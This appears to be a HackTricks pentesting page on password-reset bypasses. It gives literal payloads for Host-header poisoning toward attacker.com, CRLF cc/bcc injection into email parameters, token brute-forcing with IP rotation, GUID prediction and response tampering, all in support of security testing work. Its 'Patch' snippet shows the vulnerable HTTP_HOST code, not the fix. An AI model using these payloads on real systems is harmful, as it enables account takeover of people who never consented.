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343 lines
12 KiB
Markdown
343 lines
12 KiB
Markdown
# Reset/Forgotten Password Bypass
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
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[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs**
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🐞 Read web3 bug tutorials
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🔔 Get notified about new bug bounties
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💬 Participate in community discussions
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The following techniques recompilation was taken from [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
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## Password Reset Token Leak Via Referrer
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The **HTTP referer** is an optional HTTP header field that identifies the address of the webpage which is linked to the resource being requested. The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed
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### Exploitation
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* Request password reset to your email address
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* Click on the password reset link
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* Dont change password
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* Click any 3rd party websites(eg: Facebook, twitter)
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* Intercept the request in burpsuite proxy
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* Check if the referer header is leaking password reset token.
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### Impact
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It allows the person who has control of particular site to change the user’s password (CSRF attack), because this person knows reset password token of the user.
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### Reference:
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* https://hackerone.com/reports/342693
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* https://hackerone.com/reports/272379
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* https://hackerone.com/reports/737042
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* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
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* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
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## Password Reset Poisoning
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If you find a host header attack and it’s out of scope, try to find the password reset button!
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### Exploitation
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* Intercept the password reset request in Burpsuite
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* Add following header or edit header in burpsuite(try one by one)
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```
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Host: attacker.com
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```
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```
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Host: target.com
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X-Forwarded-Host: attacker.com
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```
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```
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Host: target.com
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Host: attacker.com
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```
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* Check if the link to change the password inside the email is pointing to attacker.com
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### Patch
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Use `$_SERVER['SERVER_NAME']` rather than `$_SERVER['HTTP_HOST']`
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```php
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$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
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```
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### Impact
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The victim will receive the malicious link in their email, and, when clicked, will leak the user’s password reset link / token to the attacker, leading to full account takeover.
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### Reference:
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* https://hackerone.com/reports/226659
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* https://hackerone.com/reports/167631
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* https://www.acunetix.com/blog/articles/password-reset-poisoning/
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* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
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* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
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## Password Reset With Manipualating Email Parameter
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### Exploitation
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* Add attacker email as second parameter using &
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```php
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POST /resetPassword
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[...]
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email=victim@email.com&email=attacker@email.com
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```
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* Add attacker email as second parameter using %20
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```php
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POST /resetPassword
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[...]
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email=victim@email.com%20email=attacker@email.com
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```
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* Add attacker email as second parameter using |
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```php
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POST /resetPassword
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[...]
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email=victim@email.com|email=attacker@email.com
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```
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* Add attacker email as second parameter using cc
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```php
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POST /resetPassword
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[...]
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email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
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```
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* Add attacker email as second parameter using bcc
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```php
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POST /resetPassword
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[...]
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email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
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```
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* Add attacker email as second parameter using ,
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```php
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POST /resetPassword
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[...]
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email="victim@mail.tld",email="attacker@mail.tld"
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```
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* Add attacker email as second parameter in json array
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```php
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POST /resetPassword
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[...]
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{"email":["victim@mail.tld","atracker@mail.tld"]}
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```
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### Reference
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* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
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* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
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* https://twitter.com/HusseiN98D/status/1254888748216655872
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## Changing Email And Password of any User through API Parameters
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### Exploitation
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* Attacker have to login with their account and Go to the Change password function
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* Start the Burp Suite and Intercept the request
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* After intercepting the request sent it to repeater and modify parameters Email and Password
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```php
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POST /api/changepass
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[...]
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("form": {"email":"victim@email.tld","password":"12345678"})
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```
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### Reference
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* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
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### No Rate Limiting: Email Bombing <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
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### Exploitation
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* Start the Burp Suite and Intercept the password reset request
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* Send to intruder
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* Use null payload
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### Reference
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* https://hackerone.com/reports/280534
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* https://hackerone.com/reports/794395
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## Find out How Password Reset Token is Generated
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Figure out the pattern of password reset token
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If it
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* Generated based Timestamp
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* Generated based on the UserID
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* Generated based on email of User
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* Generated based on Firstname and Lastname
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* Generated based on Date of Birth
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* Generated based on Cryptography
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Use Burp Sequencer to find the randomness or predictability of tokens.
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## Guessable GUID
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There are different types of GUIDs:
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* **Version 0:** Only seen in the nil GUID ("00000000-0000-0000-0000-000000000000").
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* **Version 1:** The GUID is generated in a predictable manner based on:
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* The current time
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* A randomly generated "clock sequence" which remains constant between GUIDs during the uptime of the generating system
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* A "node ID", which is generated based on the system's MAC address if it is available
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* **Version 3:** The GUID is generated using an MD5 hash of a provided name and namespace.
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* **Version 4:** The GUID is randomly generated.
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* **Version 5:** The GUID is generated using a SHA1 hash of a provided name and namespace.
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It's possible to take a look to a GUID and find out its version, there is a small tool for that: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
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```http
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guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
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UUID version: 1
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UUID time: 2021-11-17 17:52:18.141000
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UUID timestamp: 138564643381410000
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UUID node: 17547390002044
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UUID MAC address: 0f:f5:91:f2:a3:7c
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UUID clock sequence: 3426
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```
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If the used version to generate a reset password GUID is the version 1, it's possible to bruteforce GUIDS:
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```http
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guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
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a34aca00-47d0-11ec-8d62-0ff591f2a37c
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a34af110-47d0-11ec-8d62-0ff591f2a37c
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```
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### References
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* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
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## Response manipulation: Replace Bad Response With Good One
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Look for Request and Response like these
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```php
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HTTP/1.1 401 Unauthorized
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(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
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```
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Change Response
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```php
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HTTP/1.1 200 OK
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(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
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```
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### Reference
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* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
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### Using Expired Token <a href="#8-using-expired-token" id="8-using-expired-token"></a>
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* Check if the expired token can be reused
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### Brute Force Password Rest token <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
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Try to bruteforce the reset token using Burpsuite
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```php
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POST /resetPassword
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[...]
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email=victim@email.com&code=$BRUTE$
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```
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* Use IP-Rotator on burpsuite to bypass IP based ratelimit.
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### Reference
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* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
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### Try Using Your Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
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* Try adding your password reset token with victim’s Account
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```php
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POST /resetPassword
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[...]
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email=victim@email.com&code=$YOUR_TOKEN$
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```
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### Reference
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* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
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## Session I**nvalidation** in Logout/Password Reset
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When a user **logs out or reset his password**, the current session should be invalidated.\
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Therefore, **grab the cookies** while the user is logged in, **log out**, and **check** if the **cookies** are still **valid**.\
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Repeat the process **changing the password** instead of logging out.
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## Reset Token expiration Time
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The **reset tokens must have an expiration time**, after it the token shouldn't be valid to change the password of a user.
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## Extra Checks
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* Use username@burp\_collab.net and analyze the callback
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* User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
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* Long password (>200) leads to DoS
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* Append second email param and value
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<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
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[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs**
|
||
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||
🐞 Read web3 bug tutorials
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||
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||
🔔 Get notified about new bug bounties
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💬 Participate in community discussions
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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